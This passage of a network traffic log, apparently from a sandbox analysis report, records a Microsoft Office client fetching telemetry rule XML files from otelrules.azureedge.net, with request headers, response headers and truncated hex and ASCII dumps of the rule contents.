2024-10-29 19:38:08 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:08 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:08 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193808Z-15b8d89586f4zwgbgswvrvz4vs00000008cg000000006mc1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:08 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:08 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:08 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193808Z-16849878b7898p5f6vryaqvp5800000007pg000000014syu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:09 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:08 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:09 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:09 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193809Z-16849878b78km6fmmkbenhx76n000000068000000000tddf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:09 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:09 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:09 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:09 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: fe72e82f-401e-008c-6e5e-2786c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193809Z-17c5cb586f69w69mgazyf263an000000065000000000dgtt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:09 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:09 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:09 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:09 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193809Z-16849878b785dznd7xpawq9gcn00000008a000000000r4xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:09 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:09 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:09 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193809Z-16849878b78p8hrf1se7fucxk800000007sg00000000vt89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:09 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:09 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:09 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: b5ff136b-401e-005b-7aea-269c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193809Z-r197bdfb6b48pl4k4a912hk2g4000000066000000000dt9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:09 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:09 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ca4b2a6a-001e-000b-1aff-2615a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193809Z-17c5cb586f6fqqst87nqkbsx1c00000005e0000000008tcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:10 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:09 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:10 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193810Z-15b8d89586fqj7k5h9gbd8vs9800000008700000000054b3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:10 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:10 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193810Z-16849878b78p49s6zkwt11bbkn00000006q00000000094bd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:10 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193810Z-15b8d89586ff5l62aha9080wv000000008bg0000000061t2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:10 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

